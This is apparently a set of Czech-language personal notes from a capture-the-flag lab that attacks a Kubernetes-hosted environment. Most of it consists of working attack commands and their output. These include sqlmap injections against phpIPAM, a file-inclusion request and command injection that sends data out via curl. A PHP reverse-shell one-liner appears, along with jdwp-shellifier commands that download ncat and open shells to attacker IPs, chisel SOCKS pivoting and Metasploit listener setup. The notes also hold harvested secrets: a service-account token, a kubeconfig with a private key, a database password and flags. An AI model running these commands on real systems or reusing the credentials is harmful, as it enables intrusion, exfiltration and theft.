python3 sqlmap.py -u "http://pimpam.lore.tcc/app/tools/logs/show-logs.php" --data="Notice=Notice&Warning=Warning&direction=n'\"ext&lastId=1" -p "lastId" --level=5 --risk=3 --dbs --method="POST" --referer="http://pimpam.lore.tcc/?page=tools§ions=logs" --ignore-redirects
- funkční:
1
python3 sqlmap.py -u "http://pimpam.lore.tcc/app/tools/logs/show-logs.php" --data="Notice=Notice&Warning=Warning&direction=next&lastId=1" -p "next,lastId" --level=5 --risk=3 --dbs --method="POST" --ignore-redirects
HTTP POST:
1
2
3
4
5
6
on http://[Site]/phpipam/app/tools/user-menu/user-edit.php
[lang] and [printLimit] Parameters are vulnerable against SQLi.
Payload:
Method : POST
PostData=
real_name=phpIPAM+Admin&email=admin%40domain.local&password1=&password2=&mailNotify=No&mailChangelog=No&printLimit=30&lang=9'[SQLi]
1
2
python3 sqlmap.py -u "http://pimpam.lore.tcc/app/tools/user-menu/user-edit.php" --data="real_name=phpIPAM+Admin&email=admin%40domain.local&password1=&password2=&mailNotify=No&mailChangelog=No&printLimit=30&lang=9" -p "lang,printLimit" --level=5 --risk=3 --dbs --method="POST" --ignore-redirects
HTTP GET: funkční,
- tedy aspoň jediné co detekuje databázi, ale data jsou kraviny …
- jedná se o time-based, takže spoustu dat chybí a obecně je k ničemu …
1
2
3
4
5
6
SQL Injection Vulnerability (3 Items):
on Tools>Changelog
[sPage] Parameter is vulnerable against SQLi.
Method: GET
Payload:
http://[Site]/phpipam/?page=tools§ion=changelog&subnetId=a&sPage=50' [SQLi]
1
python3 sqlmap.py -u "http://pimpam.lore.tcc/?page=tools§ion=changelog&subnetId=a&sPage=50" -p "sPage" --level=5 --risk=3 --dbs --ignore-redirects
- local file inclusion
1
curl 'http://pimpam.lore.tcc/app/dashboard/widgets/index.php?section=../../../../../../../../tmp/pwnt&c=uname+-a'
- Tohle je správná cesta:
1
curl -X POST -d "subnetId=1;sleep 10" http://pimpam.lore.tcc/app/subnets/scan/subnet-update-icmp.php
- funguje zde i curl
- zjistil jsem, že jediný
subnet-update-icmp.php
funguje jak má, dle článku na netu, uvádějí, že se má použítsubnet-scan-telnet.php
ale ten nefunguje…
Tímto bych si mohl posílat v požadavku HTTP GET data … bohužel linux mi dosazuje proměnou ode mě, nikoliv od serveru.
- Chtělo by to někdy v budoucnu ověřit, jestli escapování znaků pomůže…
1 curl -X POST -d "subnetId=1;curl "http://10.200.0.55:8888/?data=$(whoami)"" http://pimpam.lore.tcc/app/subnets/scan/subnet-update-icmp.php
Tvoříme revshell
- využil jsem
revshells.com
a použil jsemReverse -> PHP exec
- No, takže můžu posílat příkazy => takže vytvořit revshell
- chtěl jsem vytvořit script
script.php
a ten poslat na server a spustit, ale to mi nešlo nakonec nejjednodušší bylo to níže …
1 php -r '$sock=fsockopen("10.200.0.63",8888);exec("/bin/bash <&3 >&3 2>&3");'- když mám revshell, pak už stačí použít
printenv
- ten použít předtím přes curl použít nešel, protože jsem používal HTTP GET kdy se mi vždy od serveru(oběti) vrátil vždy jen první řádek .. (neúplný)
FLAG:
FLAG=FLAG{V51j-9ETA-Swya-8cOR}
3. Bounded
- V případě problému se stroje restartují v intervalu 5 min. ?
- Odehrává se to v
http://jgames.lore.tcc
Pořadí příkazů pro vytvoření reverse shell
1
2
3
4
5
proxychains python3 jdwp-shellifier.py -t 192.168.73.105 -p 5005 -c "/bin/curl -o /tmp/ncat http://10.200.0.17:8889/ncat " --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.105 -p 5005 -c "/bin/chmod +x /tmp/ncat" --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.105 -p 5005 -c "/tmp/ncat 10.200.0.17 5449 -e /bin/bash" --break-on "java.lang.String.indexOf"
Secrets serveru
serviceaccount
ca.crt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-----BEGIN CERTIFICATE-----
MIIDBTCCAe2gAwIBAgIIfcOqboUQSP8wDQYJKoZIhvcNAQELBQAwFTETMBEGA1UE
AxMKa3ViZXJuZXRlczAeFw0yNDA4MjUxNTQzMzRaFw0zNDA4MjMxNTQ4MzRaMBUx
EzARBgNVBAMTCmt1YmVybmV0ZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDFJz/fwJ/zTQf7YLKc/aoM+snKjsvRpCQCtbFsQ4IJiVCzUWIjlQ5xBS0N
0pShRCqFrI++oDrVVLKcmQyPBEBVYbXow0XjgkyANKSywaixzz9Byh5y40IRLl62
+n/1Ji3VpT1asguysEN/3PSSbGedMVzo2lWLDv00fT5ojuxj9d2oxP0cGYX4hmQX
peN8eD8IA21bssjf3kFpaXkJ9IL11wt4B7cWfX4scagDfbYJipPwwTFBZfQDia0Z
nH2Q8mQ2ydG/XvmPPEsVvvbLc/Buy6DAUfy/34Yux8sVgRNCjf5Jc0WOOUNV4m9h
wzd7WiNrZ72wFSxeN14wATcKW4ZvAgMBAAGjWTBXMA4GA1UdDwEB/wQEAwICpDAP
BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSvJ52BKd3l2D05qu2jqDqBxWuF8DAV
BgNVHREEDjAMggprdWJlcm5ldGVzMA0GCSqGSIb3DQEBCwUAA4IBAQAdYID49HBi
zSM+uWmQQZJE8gr6Q2sz6PLq+lePAoc/fysBY3Y5ESR64R6C5yOUFtFkjt7oRgds
DjqQ6yKpygvGrytwqAFNF+2FsvZZKQZ/+OZdMSkq/MdCd+vqvjenK/G/igZO1s3d
XFZ6lV8iNTQoiy+XGNWqKj3bLJ2AtPGYTKY/z6c7jDL0zFVwHW4mT55PiCtWa8on
6GYkehYicf+VVg1YWKluCVruOI2POevl+FarErI3yk1Unip/M459ujs1h2CTkFPa
wb3bJ26pzYJHnhsgQLMpwn5kbHCb1EOzRijG2CiWWtS9xkC7KZ1OdzqhgopAMz3q
wxeJw2/9JYUv
-----END CERTIFICATE-----
namespace
jgames
token
1
eyJhbGciOiJSUzI1NiIsImtpZCI6ImVVNVZ4TmlMdmFNaV9STFNBS3NvSnNwd0VmcUJYWkhfMGY2UGpwNDN3aTQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzYxMTE4NTIyLCJpYXQiOjE3Mjk1ODI1MjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJqZ2FtZXMiLCJwb2QiOnsibmFtZSI6ImpnYW1lcy02ZmM0Zjg4OGZmLTJqbjhjIiwidWlkIjoiYjVkODA5YTYtOGU3Ni00YmZlLTkwMDMtMWY1NTg4YWYxYjEzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiYzE3ZjgxM2EtOTFjNy00OWFmLWEyNjYtMTA4NjdmNzllNWI2In0sIndhcm5hZnRlciI6MTcyOTU4NjEyOX0sIm5iZiI6MTcyOTU4MjUyMiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmpnYW1lczpkZWZhdWx0In0.vVrvQensAShiKkCYhpNWCeP8oDmq6f7XUEZYY0ZTuWsBadrPq91FQUH1ncwwA97bKWjv57C3m5oDs-WC1TZq83Wwa1Sa63DZkBlApI176eqrq4WkxVT6s9PH0_yr0ddgV58lkRee1_5UUuSCt9Y68JHuEAabhgSx7kWfQwDuiko7rwU7DcRce75aZtIk-0FEYjs1pCR_QZh02DMr36Tu1OjssClmjNN9KFX6QmIV2LOUvBf0h-I4N2HN3ZMf-ExiMS9u15w6JBrSN1fWGjDKNr-WnbdMFylvaCk679PsD2ZkBLpFROe8a9g-5keXzRy8pCwbAswmboE2S0GyC3FtSA
jacob secrets.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJZmNPcWJvVVFTUDh3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TkRBNE1qVXhOVFF6TXpSYUZ3MHpOREE0TWpNeE5UUTRNelJhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUURGSnovZndKL3pUUWY3WUxLYy9hb00rc25LanN2UnBDUUN0YkZzUTRJSmlWQ3pVV0lqbFE1eEJTME4KMHBTaFJDcUZySSsrb0RyVlZMS2NtUXlQQkVCVlliWG93MFhqZ2t5QU5LU3l3YWl4eno5QnloNXk0MElSTGw2Mgorbi8xSmkzVnBUMWFzZ3V5c0VOLzNQU1NiR2VkTVZ6bzJsV0xEdjAwZlQ1b2p1eGo5ZDJveFAwY0dZWDRobVFYCnBlTjhlRDhJQTIxYnNzamYza0ZwYVhrSjlJTDExd3Q0QjdjV2ZYNHNjYWdEZmJZSmlwUHd3VEZCWmZRRGlhMFoKbkgyUThtUTJ5ZEcvWHZtUFBFc1Z2dmJMYy9CdXk2REFVZnkvMzRZdXg4c1ZnUk5DamY1SmMwV09PVU5WNG05aAp3emQ3V2lOclo3MndGU3hlTjE0d0FUY0tXNFp2QWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJTdko1MkJLZDNsMkQwNXF1MmpxRHFCeFd1RjhEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQWRZSUQ0OUhCaQp6U00rdVdtUVFaSkU4Z3I2UTJzejZQTHErbGVQQW9jL2Z5c0JZM1k1RVNSNjRSNkM1eU9VRnRGa2p0N29SZ2RzCkRqcVE2eUtweWd2R3J5dHdxQUZORisyRnN2WlpLUVovK09aZE1Ta3EvTWRDZCt2cXZqZW5LL0cvaWdaTzFzM2QKWEZaNmxWOGlOVFFvaXkrWEdOV3FLajNiTEoyQXRQR1lUS1kvejZjN2pETDB6RlZ3SFc0bVQ1NVBpQ3RXYThvbgo2R1lrZWhZaWNmK1ZWZzFZV0tsdUNWcnVPSTJQT2V2bCtGYXJFckkzeWsxVW5pcC9NNDU5dWpzMWgyQ1RrRlBhCndiM2JKMjZwellKSG5oc2dRTE1wd241a2JIQ2IxRU96UmlqRzJDaVdXdFM5eGtDN0taMU9kenFoZ29wQU16M3EKd3hlSncyLzlKWVV2Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
server: https://10.99.24.81:6443
name: kubernetes
contexts:
- context:
cluster: kubernetes
user: jacob
name: jacob@kubernetes
current-context: jacob@kubernetes
kind: Config
users:
- name: jacob
user:
client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURKRENDQWd5Z0F3SUJBZ0lSQUtuQ3ZUSTVySGZJUHRYTU9xeURub2N3RFFZSktvWklodmNOQVFFTEJRQXcKRlRFVE1CRUdBMVVFQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TkRBNE1qVXhOVFE0TlRoYUZ3MHlOVEE0TWpVeApOVFE0TlRoYU1DNHhIREFNQmdOVkJBb1RCV1JsZG1Wc01Bd0dBMVVFQ2hNRmFtRmpiMkl4RGpBTUJnTlZCQU1UCkJXcGhZMjlpTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFrQlRqQjFUQzNDUEwKMHVMdU9CWTRKSGhuL2FUdU9uV1B0bysrSFUxN29KYUc2OHZSSHdjU28xY0VQNkJJVk4zd25TYTN2ZGpiVEVrVApnSjRGL2p2aFJLSk9laHdHWGRCWDJQV3ZFQm1IUkxOQmxuekltRnFscjNodXRMZFBIcC9lSlo5c0Y2ZXU3ZG5zCmhhL0M3eTlwbVl2UDRhTTBoYmVmL0lyNUhLdG8wR2JBOVpUbEhmZmI0dnlZSkFhdFdTRTYwTUNabGxQRDB2b2oKZjY4UVZNektHMmMzRDYzMTF4eThLR3ZHUzYxTUtaSG14aElDWE4rVFpKV1VWNkZIemxWWW14NVRYcFNmZTRXRQpOem1EWUsxU1RSdXhERDRnc09KMUVmNTJJQ2ZhNDRlZnBFdmNWSnhZNmhHc0hyMTRxWGYxQzUzKytrcFRTbWxzClJRdkx4eStqbHdJREFRQUJvMVl3VkRBT0JnTlZIUThCQWY4RUJBTUNCYUF3RXdZRFZSMGxCQXd3Q2dZSUt3WUIKQlFVSEF3SXdEQVlEVlIwVEFRSC9CQUl3QURBZkJnTlZIU01FR0RBV2dCU3ZKNTJCS2QzbDJEMDVxdTJqcURxQgp4V3VGOERBTkJna3Foa2lHOXcwQkFRc0ZBQU9DQVFFQXVZa2VySGdadmxkT2hZWkVBQmR5VjJ2VWUzMlRTckdXCktwbFJKaGJaaDZZU0RpOTB5UVovdWRNaVFERzVGcDV0YXVneWtkUUF4ZEw2U2dGL29lUmRHTHN3TnhZSzd4ZjQKTGtKeDM2RWtzb1FQZ3lUY1ZSRW9RQ2xnUjIwTFlSaFh2alg2ZE1BbDNHbzhEV01ORDNSa1laVGVCVFBkb0x2awpLUUt4VVQxcVplaklaei9QUko4UUt4bGhxZHV3TUY1bGNVbjM4QTl1S0J0S0FSak5JSUFXdDFXQzNHVmFIWnlNCkc5V2RSUnNQRWdFeFc1MnRSN2NUZlBtWENsU3YvU21OdVFjVWhvWk04TFNzcHZUTTNmN2dwVmFuWDdTTEZvL2YKWkVGem8rWnBwd3Y5VTF6T3ArY2c5R2lCaWxldHJUbjZtektQd2dKbzRsT3h6OXpDRTFBdFVBPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
client-key-data: LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2QUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktZd2dnU2lBZ0VBQW9JQkFRQ1FGT01IVk1MY0k4dlMKNHU0NEZqZ2tlR2Y5cE80NmRZKzJqNzRkVFh1Z2xvYnJ5OUVmQnhLalZ3US9vRWhVM2ZDZEpyZTkyTnRNU1JPQQpuZ1grTytGRW9rNTZIQVpkMEZmWTlhOFFHWWRFczBHV2ZNaVlXcVd2ZUc2MHQwOGVuOTRsbjJ3WHA2N3QyZXlGCnI4THZMMm1aaTgvaG96U0Z0NS84aXZrY3EyalFac0QxbE9VZDk5dmkvSmdrQnExWklUclF3Sm1XVThQUytpTi8KcnhCVXpNb2JaemNQcmZYWEhMd29hOFpMclV3cGtlYkdFZ0pjMzVOa2xaUlhvVWZPVlZpYkhsTmVsSjk3aFlRMwpPWU5nclZKTkc3RU1QaUN3NG5VUi9uWWdKOXJqaDUra1M5eFVuRmpxRWF3ZXZYaXBkL1VMbmY3NlNsTkthV3hGCkM4dkhMNk9YQWdNQkFBRUNnZ0VBQnlKUm4zSk45N0o2RENZYVg0S1NJeFFuS2dMNW5NRm5iVVd1eHlxbi9XcVcKb2FSRTVZRm5KZGxRSjRwYktvQ1d3bUZCWmRBUUE3WDJsajY4MHpySnk2a3hzNUFockpGOVdBdktNRVRqVXI2QgpkOThUMjU5Wlp0ZlN1M1g4SCtzUWg5SmQrc25kdW44NDIrRzVDRGpUeEx1TWZvS2pQaCs2ZHptMlhmb0t4WTdOCjVVd0RPdURHYjNmVXhsZDJZcSswUCtxWUdxcjZUWjY5aUZZMVNERHQxdkV6dUhDcHJmeDlyZk0wbjdXdDU5SmoKSmwxVWpDeXU1elhSbU9sZ0xUK3NLdUdBOUlGTGRRcTF2Zi9zSFczZFZ2Ykpnam5FN2dpR2ZvYTlTMDc0TzFibgpocEFBaU9wNEVGalFoaXkzV1d3L2lpdXliRkRlbkFhcC9rZHJyWm9xS1FLQmdRREcxWENoYnlWSGRTL3FMVUhNCmdMV280dW9XY1lUTXJNdm1RamxHelhYWHR0UWdEdCtZd1JXTnFKdFJrQkc0dkVabDJ1cXdUeDlleDRwUFdSSXAKL1pPd2JnNVBmNE1GZkc0K0dZeU83YlVxVGRLU0tNa1Y1eEszUFU0VGtoanpCR042dFpQNDUxZDV4azN5TUFpdwpyV2FEdk05SHhDS2tTZkRRbFRCY3hCcDA5UUtCZ1FDNWdaUXJLQk8zL1VmUEFXYUw4b2FpY25jaHhhanhRNXAzCkQ1RDBwbndhRmNKemFZcm5GK2h3ejcxUnRreFNPVWh0Mkx2MUZLeksxRjVIRVJtNFpFczFsVTJRRHl3Y25OdmkKNVByUGxGZDViUU12c1BIK0dqNTJXaE1YWGs4QVRhZjdLWnVqUzVVYTM5bHViMXVYN2VaSzJ1WUZPN3V3TVlUKwpFV21FM09sKzJ3S0JnQy9EVC9ZSG0vM3BZYVF3VVBFT0xoVXV4U3ExQkVDaWRheVBWZkR6SkE2NGhZWlo3RTVtCmU0WDI3YkNQR2lLMVgzZlNPYlEybllPSURXcDRMQXZZTlNVWm11aHY2Z3BrVkpzb1NnSi9pWmhxNzExYTNNc2QKSWZyUWlEUGRVWTczQytxTE9jdDl6eDZhaTFqVlB4RXA1a2xaRHJYZm9LNjBjRnU2cXM1dDhTa05Bb0dBWmxtZgpKWnlNSEtTclBRUjV6dGMxLzJVR1krVEp6S3ZQQ3NmVTQ1Y0R1K1NyajcvNHVuNVBhZ2JFWHRRbEVleTNFSnhYClArWnpXOG1HWnRHQmptSVB1UFd5Z0x4T1MwOGtadkNOallBOEx5dTlhVS9JaExsNEl4YVpsL2dad0lJWUg1U2EKWWFOdkZnL1J5SU82Vm40VTVOSVh2V1Z5cmNqMHByVjJzYTZ0U2FjQ2dZQnBKb1UvYzc1NVFTQi9uTVNpUmxuRQpUVkJsWkIvMkExL01pYzJoU2syVXJuajhUN0dIZmM1TEp0VmNNZEJyS1h4ckE5OXNEUHFwclB2UzcyVkl0VE9ZCitsckdmYVh0bUtpUDFXUnVXNllpTUFScTBBM1Q1SVdacTBlRlVYNCthNVdvK0N1d2pUNmp5V3lrM0doVUNQUFIKWnZQL2REdmRmRTBOVm1HT0phaFltdz09Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K
Oprávnění jacob
default namespace
- pomocí
kubectl auth can-i --list
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
sam-queue
kubectl --kubeconfig=kube.yaml auth can-i --list --namespace=sam-queue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Resources Non-Resource URLs Resource Names Verbs
configmaps [] [] [create delete]
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
vytvoření configmapy pomocí kubectl
1
2
3
kubectl create configmap request-7f3e1f9a1e654b88a0b2 \
--from-literal=storage="storage-hal-01" \
--namespace=sam-queue
metasploit listener
Tvoříme listener pomocí metasploit
- Zapnout metasploit
use exploit/multi/handler
- nastavit options
exploit
- pak dáme
help
->shell
pro interaktivní shell- nastavit listener
use linux/x64/meterpreter/reverse_tcp
- pak si můžeme vygenerovat přes revshells, pomocí msfvenom payload
- a nastavit v metasploitu další listener na jiném portu jako reverse/tcp
- to pak dostaneme na zraněný server a spustíme …
- Návod na proxy: zdroj
- Na webu je tohle navíc
KUBERNETES TACTICAL ENGAGEMENT
- Ale nemá to s ničím souvislost …
Fragmenty ze stroje chapter2
printenv z chapter2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
KUBERNETES_PORT=tcp://192.168.128.1:443
KUBERNETES_SERVICE_PORT=443
PIMPAM_DB_SERVICE_PORT=3306
PIMPAM_DB_PORT=tcp://192.168.167.76:3306
PIMPAM_DB_PORT_3306_TCP=tcp://192.168.167.76:3306
HOSTNAME=pimpam-9bd6b669c-f5hff
PIMPAM_WEB_SERVICE_HOST=192.168.200.130
SHLVL=1
OLDPWD=/var/www/html/app/subnets/scan
PIMPAM_DBPASS=2eb6a09ff7b8417c4344c8bde185a512
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PIMPAM_WEB_PORT=tcp://192.168.200.130:80
PIMPAM_WEB_SERVICE_PORT=80
_=ls
PIMPAM_WEB_SERVICE_PORT_WEB=80
PIMPAM_DBHOST=pimpam-db
PIMPAM_WEB_PORT_80_TCP_ADDR=192.168.200.130
KUBERNETES_PORT_443_TCP_ADDR=192.168.128.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PIMPAM_WEB_PORT_80_TCP_PORT=80
PIMPAM_WEB_PORT_80_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
PIMPAM_DBNAME=pimpam
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_SERVER_NAME=localhost
PIMPAM_DB_PORT_3306_TCP_ADDR=192.168.167.76
APACHE_LOG_DIR=/var/log/apache2
PIMPAM_WEB_PORT_80_TCP=tcp://192.168.200.130:80
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://192.168.128.1:443
KUBERNETES_SERVICE_HOST=192.168.128.1
PIMPAM_DB_PORT_3306_TCP_PORT=3306
PWD=/var/www/html/app/subnets
PIMPAM_DB_PORT_3306_TCP_PROTO=tcp
PIMPAM_DB_SERVICE_HOST=192.168.167.76
PIMPAM_DB_SERVICE_PORT_MYSQL=3306
FLAG=FLAG{V51j-9ETA-Swya-8cOR}
- IP Adresa:
192.168.73.124/32
IP 192.168.128.1
- má otevřený jen 443 port
- některé API endpointy jsou přístupné
NMAP 192.168.73.0/24
skenováno ze stroje: 192.168.73.124/32
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Unable to find nmap-services! Resorting to /etc/services
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2024-10-17 06:45 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 192.168.73.64
Host is up (0.00016s latency).
Not shown: 1203 closed ports
PORT STATE SERVICE
22/tcp open ssh
5666/tcp open nrpe
Nmap scan report for 192-168-73-102.intro-web.intro.svc.cluster.local (192.168.73.102)
Host is up (0.00031s latency).
All 1205 scanned ports on 192-168-73-102.intro-web.intro.svc.cluster.local (192.168.73.102) are closed
Nmap scan report for 192-168-73-107.jgames-web.jgames.svc.cluster.local (192.168.73.107) #TIC TAC TOE
Host is up (0.00030s latency).
Not shown: 1204 closed ports
PORT STATE SERVICE
8080/tcp open http-alt
Nmap scan report for 192-168-73-112.calico-kube-controllers-metrics.calico-system.svc.cluster.local (192.168.73.112)
Host is up (0.00015s latency).
All 1205 scanned ports on 192-168-73-112.calico-kube-controllers-metrics.calico-system.svc.cluster.local (192.168.73.112) are closed
Nmap scan report for 192-168-73-114.kube-dns.kube-system.svc.cluster.local (192.168.73.114)
Host is up (0.00021s latency).
Not shown: 1203 closed ports
PORT STATE SERVICE
53/tcp open domain
8080/tcp open http-alt PAGE NOT FOUND 404
Nmap scan report for 192-168-73-115.ingress-nginx-controller.ingress-nginx.svc.cluster.local (192.168.73.115)
Host is up (0.00022s latency).
Not shown: 1203 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Nmap scan report for 192-168-73-117.webhook-service.metallb-system.svc.cluster.local (192.168.73.117)
Host is up (0.00020s latency).
All 1205 scanned ports on 192-168-73-117.webhook-service.metallb-system.svc.cluster.local (192.168.73.117) are closed
Nmap scan report for 192.168.73.118
Host is up (0.00019s latency).
All 1205 scanned ports on 192.168.73.118 are closed
Nmap scan report for 192-168-73-120.sam-web.sam-operator.svc.cluster.local (192.168.73.120)
Host is up (0.00020s latency).
All 1205 scanned ports on 192-168-73-120.sam-web.sam-operator.svc.cluster.local (192.168.73.120) are closed
Nmap scan report for 192-168-73-121.kube-dns.kube-system.svc.cluster.local (192.168.73.121)
Host is up (0.00022s latency).
Not shown: 1203 closed ports
PORT STATE SERVICE
53/tcp open domain
8080/tcp open http-alt PAGE NOT FOUND 404
Nmap scan report for 192-168-73-122.cgit-web.cgit.svc.cluster.local (192.168.73.122) CGIT
Host is up (0.00018s latency).
Not shown: 1204 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 192-168-73-123.whoami-service.default.svc.cluster.local (192.168.73.123) WHOAMI SERVICE
Host is up (0.00019s latency).
Not shown: 1204 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap scan report for pimpam-9bd6b669c-f5hff (192.168.73.124)
Host is up (0.00020s latency).
Not shown: 1203 closed ports
PORT STATE SERVICE
80/tcp open http
3306/tcp open mysql
192.168.73.123
Budujeme chisel SOCKS proxy
- máme už reverzní tunel
- jakmile jsme na vzdáleném stroji tak nastartujeme spojení přes chisel tzn. na svém stroji spustíme chisel server:
./chisel server --reverse -p 8080 --socks5 1080
-p 8080
říká na čem bude server poslouchat
--socks5 1080
říká, že na lokálním stroji se spustí socksProxy na portu 1080, podle toho se nastaví i proxychains …:X:127.0.0.1:X
na serveru (oběti) spustíme klienta
chisel client Tvoje_IP:8080 R:socks
Dostal jsem se do dalšího stroje kterému se mění IP adresa ale má port 5005,
hledání daného stroje: ./nmap 192.168.73.0/24 -p 5005 --open
Poznámka:
1
2
3
4
5
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/bin/busybox nc 10.200.0.76 8485 -e /bin/bash" --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/bin/curl -o /tmp/ncat http://10.200.0.76:7000/ncat " --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/bin/chmod +x /tmp/ncat " --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/tmp/ncat 10.200.0.76 8485 -e /bin/bash " --break-on "java.lang.String.indexOf"
proxychains python3 jdwp-shellifier.py -t 192.168.73.97 -p 5005 -c "/tmp/reverse2.elf " --break-on "java.lang.String.indexOf"
Z blogu u GitHub jdwp-shellifier jsem musel najít, jaký breakpoint je zodpovědný za posun v kódu tzn. refresh stránky jgames.lore což je
java.lang.String.indexOf
čímž se kód zasekl v tomto bodě a po refresh stránky doběhl do konce a provedl se….
printenv stroje se hrou
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
printenv
KUBERNETES_SERVICE_PORT_HTTPS=443
NCAT_LOCAL_ADDR=192.168.73.97
JGAMES_WEB_PORT=tcp://192.168.207.69:80
KUBERNETES_SERVICE_PORT=443
JGAMES_DEBUG_SERVICE_PORT_DEBUG=5005
HOSTNAME=jgames-767df46b77-6g5ln
LANGUAGE=en_US:en
JAVA_HOME=/opt/java/openjdk
JGAMES_DEBUG_PORT_5005_TCP_ADDR=192.168.183.255
GPG_KEYS=5C3C5F3E314C866292F359A8F3AD5C94A67F707E A9C5DF4D22E99998D9875A5110C01C5A2F6059E7
JGAMES_WEB_PORT_80_TCP_PROTO=tcp
JGAMES_DEBUG_SERVICE_PORT=5005
PWD=/tmp
TOMCAT_SHA512=0a62e55c1ff9f8f04d7aff938764eac46c289eda888abf43de74a82ceb7d879e94a36ea3e5e46186bc231f07871fcc4c58f11e026f51d4487a473badb21e9355
TOMCAT_MAJOR=10
HOME=/usr/local/tomcat
LANG=en_US.UTF-8
KUBERNETES_PORT_443_TCP=tcp://192.168.128.1:443
JGAMES_DEBUG_PORT_5005_TCP_PORT=5005
JGAMES_DEBUG_SERVICE_HOST=192.168.183.255
NCAT_LOCAL_PORT=46760
TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib
FLAG=FLAG{ijBw-pfxY-Scgo-GJKO}
NCAT_REMOTE_PORT=8485
JGAMES_DEBUG_PORT=tcp://192.168.183.255:5005
JGAMES_WEB_SERVICE_PORT=80
